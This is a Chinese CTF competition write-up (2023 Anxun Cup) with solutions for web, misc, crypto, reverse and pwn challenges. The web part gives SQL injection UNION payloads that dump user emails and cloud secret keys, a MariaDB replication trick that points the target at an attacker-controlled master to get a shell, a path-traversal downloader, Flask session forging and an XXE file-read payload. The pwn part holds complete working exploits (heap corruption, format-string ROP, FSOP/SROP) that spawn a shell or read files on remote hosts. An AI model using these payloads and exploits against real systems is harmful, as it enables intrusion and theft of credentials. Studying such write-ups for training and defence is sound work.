1
categories这里随便加一个
新建一个task 放到里面
然后在search那里注入,这里解释下为什么会这样
stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%') order by created_date desc"
这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。
select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc
然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。
1') union select 1,url,3,4,secretId ,secretKey from secret -- +
2
index.php存在SQL注入
这个页面的user是低权限用户
?myname=admin%27+UNION+Select+1,1,1+from+admin+Where+%27%27%3D%27
http://47.108.165.60:32176/?myname=admin%27+UNION+Select%20version()%20--+
sqlmap直接跑
跑出了一个目录名
这个目录也存在sql注入,也可以直接用sqlmap跑,user是高权限的用户。
http://47.108.165.60:32176/sEcR@[email protected]
code=select 1;
http://47.108.165.60:32176/game.php
直接猜拳会报错,参数空。
看源代码
sqlmap也跑出来了game表,看到game表是空的,猜测要写值进去。
通过mardb主从getshell,docker启动数据库。
docker run --itd --env MARIADB_ROOT_PASSWORD=123456 -p 33060:3306 mariadb:latest
docker cp 容器id:/etc/mysql/mariadb.conf.d/50-server.cnf 50-server.cnf
docker cp 50-server.cnf 容器id:/etc/mysql/mariadb.conf.d/50-server.cnf
docker restart 容器id
配置文件内容
记住这个 position,在题目上执行:
CHANGE MASTER TO MASTER_HOST='vps', MASTER_USER='root', MASTER_PASSWORD='123456',MASTER_PORT=33060, MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS=3093;
执行
start slave;
show slave status;
可以看到正在同步
主节点数据库内容
3
import requests
burp0_url = "http:///download?file=../../../../../../app/__pycache__/part.cpython-311.pyc"
burp0_cookies = {"session": "eyJpc2xvZ2luIjpmYWxzZX0.ZIPdEA.E61LN3Goj7DPcnQSvhU_1BhOc0s"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://47.108.165.60:43979/", "Upgrade-Insecure-Requests": "1"}
data = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
with open('part.pyc','wb') as f:
f.write(data.content)
print(data.content)
import dis
import marshal
with open('part.pyc', 'rb') as f:
f.seek(16)
print(dis.dis(marshal.load(f)))
拿到key
flask-unsign --sign --cookie "{'islogin': True}" --secret 'o2takuXX_donot_like_ntr'
eyJpc2xvZ2luIjp0cnVlfQ.ZIPg2g.1oipd8BEvDQb9JDYlKVwP3srTVw
import requests
burp0_url = "http:///th1s_1s_The_L4st_one"
burp0_cookies = {"session": "eyJpc2xvZ2luIjp0cnVlfQ.ZIPg2g.1oipd8BEvDQb9JDYlKVwP3srTVw
"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = "<?xml version="1.0" encoding="utf-8"?>rn<!DOCTYPE note [rn <!ENTITY admin SYSTEM "file:///flag">rn ]>rn<result>rn<ctf>&admin;</ctf>rn<web>&admin;</web>rn</result>"
data = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
print(data)
1
http://zh.sudoku.menu/info/solver.html
根据这种方式
SYCTF{5U_20ed6bbed6ec}
2
2.写个脚本把0改
from pwn import *
from time import sleep
import random
import sys
sys.setrecursionlimit(100000)
def get_next(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:获得下一个空白格在数独中的坐标。
"""
for next_y in range(y+1, 9): # 下一个空白格和当前格在一行的情况
if m[x][next_y] == 0:
return x, next_y
for next_x in range(x+1, 9): # 下一个空白格和当前格不在一行的情况
for next_y in range(0, 9):
if m[next_x][next_y] == 0:
return next_x, next_y
return -1, -1 # 若不存在下一个空白格,则返回 -1,-1
def value(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:返回符合"每个横排和竖排以及
九宫格内无相同数字"这个条件的有效值。
"""
i, j = x//3, y//3
grid = [m[i*3+r][j*3+c] for r in range(3) for c in range(3)]
v = set([x for x in range(1,10)]) - set(grid) - set(m[x]) -
set(list(zip(*m))[y])
return list(v)
def start_pos(m:"数独矩阵"):
""" 功能:返回第一个空白格的位置坐标"""
for x in range(9):
for y in range(9):
if m[x][y] == 0:
return x, y
return False, False # 若数独已完成,则返回 False, False
def try_sudoku(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:试着填写数独 """
for v in value(m, x, y):
m[x][y] = v
next_x, next_y = get_next(m, x, y)
if next_y == -1: # 如果无下一个空白格
return True
else:
end = try_sudoku(m, next_x, next_y) # 递归
if end:
return True
m[x][y] = 0 # 在递归的过程中,如果数独没有解开,
# 则回溯到上一个空白格
def sudokuf(m):
x, y = start_pos(m)
try_sudoku(m, x, y)
return m
def solve_sudoku():
conn = remote('47.108.165.60', 39095)
while True:
print(conn.recvuntil(b"Please input:"))
# Play the game
conn.sendline("1")
conn.recvuntil("Please select the level: ")
conn.sendline("5")
conn.recvuntil("---------------------n")
sudoku = ""
for _ in range(9):
sudoku += conn.recvline().decode().strip() + "n"
print("Received Sudoku:n" + sudoku)
sudoku_numbers = [list(map(int, line.strip())) for line in sudoku.split("n")[:-1]]
# print(sudoku_numbers)
solved_sudoku = sudokuf(sudoku_numbers)
sudoku_string = ""
for row in solved_sudoku:
sudoku_string += "".join(str(num) for num in row) + "n"
conn.sendline(sudoku_string)
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
if b"now you get shell" in (conn.recvline()):
conn.interactive()
solve_sudoku()
SYCTF{EA5Y_29b37ae98f83_5UDOkukuku}
3
1.暴力破解
2.修复压缩包
3.ook解密
4
首先用格式工厂分离出音轨
得到两个wav
播放音频,可以听出是sstv,一开始直接sstv发现出来的二维码很糊。
经过尝试后,对wav进行差分再sstv
import numpy as np
from scipy.io import wavfile
def diff(wav1_path, wav2_path, output_path):
# Read the WAV files
ct, wav1 = wavfile.read(wav1_path)
ct, wav2 = wavfile.read(wav2_path)
# Process the audio data
for i in range(len(wav1)):
if wav1[i] > 0 and wav1[i] > wav2[i]:
wav1[i] -= wav2[i]
elif wav1[i] < 0 and wav1[i] > wav2[i]:
wav1[i] -= wav2[i]
# Write the processed audio to a new WAV file
wavfile.write(output_path, ct, wav1)
wav1 = r"C:Users5xDesktopnoise2.wav"
wav2 = r"C:Users5xDesktopnoise3.wav"
output = "noise.wav"
diff(wav1,wav2,output)
扫码得出base64导出图片后就是flag。
1
data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c = continued_fraction(data3)
alist = c.convergents()
for i in alist:
a = str(i).split('/')
if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
print(a)
break
data1 = int(a[0])
data2 = int(a[1])
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
SYC{a00338c150aa3a5163dbf404100e6754}
2
from Crypto.Cipher import AES
from binascii import *
from hashlib import md5
n = 2023
a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq = [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'
def seqsum(i):
ans = 0
for j in range(len(seq)):
ans += pow(i,j,m)*seq[j]
return ans
def homework(i):
if i == 1:
return 1
if i == 2:
return 1
else:
return (a*homework(i-1)+b*homework(i-2)+seqsum(i))%m
h=[1,1]
for i in range(n):
h.append((a*h[-1]+b*h[-2]+seqsum(i+3))%m)
ans=h[n-1]
k = unhexlify(md5(str(ans).encode()).hexdigest())
aes = AES.new(k,AES.MODE_ECB)
c=unhexlify(ct)
M=aes.decrypt(c)
print(M)
3
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
r=f.small_roots(X=2^cut,beta=0.4)
if r:
r=a[0]
break
p=GCD(ZZ(f(r)),clown)
q=clown//p
PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])
N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))
1
int reverse_data_hex(int a1, int a2){
int v2,v3,v4;
v2 = 0;
v3 = 0;
if ( a2 > 0 )
{
v4 = a2 - 1;
do
v2 |= ((a1 >> v3++) & 1) << v4--;
while ( v3 < a2 );
}
return v2;
}
void xor_with_1(int* data) {
int i = 0;
while (data[i] != '�') {
data[i] = reverse_data_hex(data[i] ,8);
i++;
}
}
void decrypt_data_a(int* data, int size) {
for (int i = 0; i < size; i++) {
int v3 = data[i];
if (v3 >= 90 && v3 <= 122){
if(v3 >= 110){
data[i] = v3 - 13;
}
else{
data[i] = v3 + 13;
}
}
if(v3 >=65 && v3 < 90){
if(v3 >= 78 ){
data[i] = v3 - 13;
}
else{
data[i] = v3 + 13;
}
}
}
}
void decrypt_data_b(int* v3) {
int result;
int v4 = 0;
int v6[] = { 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0};
if ( *v3 )
{
do
{
if ( v4 <= 16 )
{
if ( v4 >= 16 )
{
v3[v4] ^= 4u;
}
else
{
result = v6[v4];
if ( result )
{
if ( !--result )
v3[v4] ^= 9u;
}
else
{
v3[v4] += 2;
}
}
}
else
{
result = v6[v4];
if ( result )
{
if ( !--result )
v3[v4] ^= 6;
}
else
{
v3[v4] += 5;
}
}
++v4;
}
while ( v3[v4] );
}
}
void print_array_hex(int* array, int size) {
for (int i = 0; i < size; i++) {
printf("%c", array[i] & 0xff);
}
printf("n");
}
int main() {
int data[] ={ 0x22, 0x0FFFFFFA2, 0x72,0x0FFFFFFE6,0x52,0x0FFFFFF8C,0x0FFFFFFF2,0x0FFFFFFD4,0x0FFFFFFA6,0x0A,0x3C,0x24,0x0FFFFFFA6,0x0FFFFFF9C,0x0FFFFFF86,0x24,0x42,0x0FFFFFFD4,0x22,0x0FFFFFFB6,0x14,0x42,0x0FFFFFFCE,0x0FFFFFFAC,0x14,0x6A,0x2C,0x7C,0x0FFFFFFE4,0x0FFFFFFE4,0x0FFFFFFE4,0x1E};
xor_with_1(data);
print_array_hex(data, 32);
decrypt_data_b(data);
print_array_hex(data, 32);
decrypt_data_a(data, 32);
print_array_hex(data, 32);
}
SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}
2
反调试绕过一下 动态调试一下,看了眼只有异或,直接替换数据。
SYC{Th1s_is_ !!!!}
3
如图 手撸
SYCTF{wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw}
1
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")
libc = ELF('./libc-2.31.so')
my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))
menu = 'root@$n'
def add(index, size, content = b'a'):
sla(menu, '1')
sla('give me your index:n', str(index))
sla('give me your size:n', str(size))
sa('give me your content:n', content)
def show(index):
sla(menu, '2')
sla('give me your index:n', str(index))
def edit(index, content):
sla(menu, '3')
sla('give me your indexn', str(index))
sla('give me your indexn', str(index))
sa('give me your content:n', content)
def delete(index):
sla(menu, '4')
sla('give me your index:n', str(index))
def login(user, passwd):
sla(menu, '5')
sla(b'usernamen', user)
sla(b'passwdn', passwd)
login(b'1', b'1')
add(0,0x418, b"A"*0x100)
add(1,0x108) #1 barrier
add(2,0x438, b"B0"*0x100)
add(3,0x438, b"C0"*0x100)
add(4,0x108,b'4'*0x100)
add(5, 0x488, b"H"*0x100)
add(6,0x428, b"D"*0x100)
add(7,0x108)
delete(0)
delete(3)
delete(6)
delete(2)
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2])
add(3,0x418)
add(6,0x428)
add(0,0x418,b"0"*0x100)
delete(0)
delete(3)
add(0, 0x418, b'a' * 8)
add(3, 0x418)
delete(3)
delete(6)
add(6,0x500-8, b'6'*0x488 + p64(0x431))
add(3, 0x3b0)
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
delete(6)
add(6,0x438)
login(b'2133', b'2131221')
show(4)
libc_base = get_addr() - 0x1ecbe0
login(b'a'*8, b'x01'*0x106)
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111))
delete(7)
delete(4)
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))
add(7,0x108,b'/bin/shx00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
inter()
SYCTF{PWN_pwn_537ee2387007_PWN}
2
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./harde_pwn'
#context.arch='amd64'
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
b printf
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(0)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('47.108.165.60',47183)
gdb_open=0
clibc.srand(0)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
io.recvuntil('elcome to a ctype game!n')
io.send('x00'*0x20)
for i in range(21):
io.recvuntil(': n')
io.sendline(str((clibc.rand() ^ 0x24) + 1))
io.recv()
io.send('%31$p')
io.recvuntil('0x')
libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128
libc.address=libc_base
bin_sh_addr=libc.search('/bin/shx00').next()
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
pop_rax_ret=libc.search(asm('pop rax;ret')).next()
pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()
pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()
pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()
syscall_ret=libc.search(asm('syscall;ret')).next()
io.send('%15$px00')
io.recvuntil('0x')
stack=int(io.recv(12),16)-0x38-0xe8
io.recv()
pay='%'+str(stack&0xffff)+'c%15$hn'
io.send(pay+'x00')
def go(a):
io.sendafter('input your data ;)n',a+'x00')
def fmt(addr,value):
pay='%'+str(addr&0xffff)+'c%15$hn'
go(pay)
off_1=(value)&0xff
if value==0:
go('%45$hhn')
else:
go('%'+str(off_1)+'c%45$hhn')
for i in range(5):
pay='%'+str((addr+1+i)&0xff)+'c%15$hhn'
go(pay)
off_1=(value>>((i+1)*8))&0xff
if value==0:
go('%45$hhn')
else:
go('%'+str(off_1)+'c%45$hhn')
fmt(stack,pop_rdi_ret)
fmt(stack+0x8,bin_sh_addr)
fmt(stack+0x10,pop_rsi_ret)
fmt(stack+0x18,0)
fmt(stack+0x20,pop_rsi_ret+1)
fmt(stack+0x28,system_addr)
pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'
go(pay)
gdb_attach(io,gdb_text)
go('%'+str(0xae)+'c%45$hhn')
success('libc_base:'+hex(libc_base))
success('stack:'+hex(stack))
# success('heap_base:'+hex(heap_base))
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
3
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./CAT_DE'
#context.arch='amd64'
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
telescope $rebase(0x202040) 16
b _IO_obstack_xsputn
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(clibc.time(0))
libc=ELF('./libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('47.108.165.60',49429)
gdb_open=0
clibc.srand(clibc.time(0))
libc=ELF('./libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
def choice(a):
io.sendlineafter(' >> n',str(a))
def add(a,b):
choice(1)
io.sendlineafter('size:n',str(a))
io.sendafter('content:n',b)
def edit(a,b):
choice(4)
io.sendlineafter(':n',str(a))
io.sendafter('content:n',b)
def show(a):
choice(3)
io.sendlineafter(':n',str(a))
def delete(a):
choice(2)
io.sendlineafter(':n',str(a))
add(0x4f8,'aaa')
add(0x6f8,'a')
add(0x4f8,'aaa')
add(0x6f8,'a')
delete(0)
delete(2)
add(0x4f8,'x00')
add(0x4f8,'x00')
show(0)
io.recvuntil('context:n')
io.recv(8)
heap_base=u64(io.recv(6)+'x00x00')&0xfffffffffffff000
show(2)
io.recvuntil('context:n')
io.recv(8)
libc_base=u64(io.recvuntil('x7f')[-6:]+'x00x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60
libc.address=libc_base
bin_sh_addr=libc.search('/bin/shx00').next()
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
pop_rax_ret=libc.search(asm('pop rax;ret')).next()
pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()
pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()
pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()
syscall_ret=libc.search(asm('syscall;ret')).next()
gadget=[
'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',
'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',
'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',
'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',
'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'
]
gadget_addr=libc.search(asm(gadget[3])).next()
delete(3)
delete(2)
delete(1)
delete(0)
add(0x508,'aaa')
add(0xf0,'aa')
add(0xf8,'aa')
add(0x4f0,'aaa')
add(0xf0,'aa')
edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)
edit(2,'x00'*0xf0+p64(0x700))
delete(3)
delete(4)
delete(1)
add(0x540,'x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12)))
add(0xf0,'aa')
add(0xf0,p64(heap_base+0x2b0))
from FILE import *
context.arch='amd64'
IO=IO_FILE_plus_struct()
IO._flags=0xfbad2087
IO._lock= heap_base+0x10000 #can read addr
IO._IO_save_base=0x21 #size unuse
IO._chain=0x21 #size unuse
IO.vtable=libc.sym['_IO_file_jumps']-0x240
#libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn
IO_addr=heap_base+0x2b0
SROP_addr=IO_addr+0x200+0x10
obstack_addr=IO_addr+0xf0
flag_name_addr=SROP_addr-0x8
pay=str(IO)[0x10:]
#pay+=obstack_addr
pay+=p64(obstack_addr)
#pading
pay+='x00'*0x8
#obstack struct
'''
struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
unsigned alloc_failed : 1;
};
'''
pay+='x00'*0x38+p64(gadget_addr)
pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1)
pay=pay.ljust(0x180,'x00')
pay+=p64(0)+p64(SROP_addr)
pay=pay.ljust(0x1f8,'x00')
srop=SigreturnFrame()
srop.rsp=SROP_addr+0x100
srop.rdi=0
srop.rsi=0
srop.rdx=0x30
srop.rip=pop_rax_ret+1
pay+='./flagx00x00'
pay+=str(srop)[:0x20]
pay+=p64(libc.sym['setcontext']+61)
pay+=str(srop)[0x28:]
pay=pay.ljust(0x300,'x00')
pay+=p64(pop_rax_ret)+p64(3)
pay+=p64(syscall_ret)
pay+=p64(pop_rdi_ret)+p64(flag_name_addr)
pay+=p64(pop_rsi_ret)+p64(0)
pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(syscall_ret)
pay+=p64(pop_rax_ret)+p64(0)
pay+=p64(pop_rdi_ret)+p64(0)
pay+=p64(pop_rsi_ret)+p64(heap_base)
pay+=p64(syscall_ret)
pay+=p64(pop_rax_ret)+p64(1)
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_ret)+p64(heap_base)
pay+=p64(syscall_ret)
delete(2)
delete(3)
edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12)))
add(0xf0,'aa')
add(0xf0,p64(0)+p64(0x300))
success('libc_base:'+hex(libc_base))
success('heap_base:'+hex(heap_base))
gdb_attach(io,gdb_text)
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
原文始发于微信公众号(EDI安全):2023年“安洵杯”-WriteUp By EDISEC
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论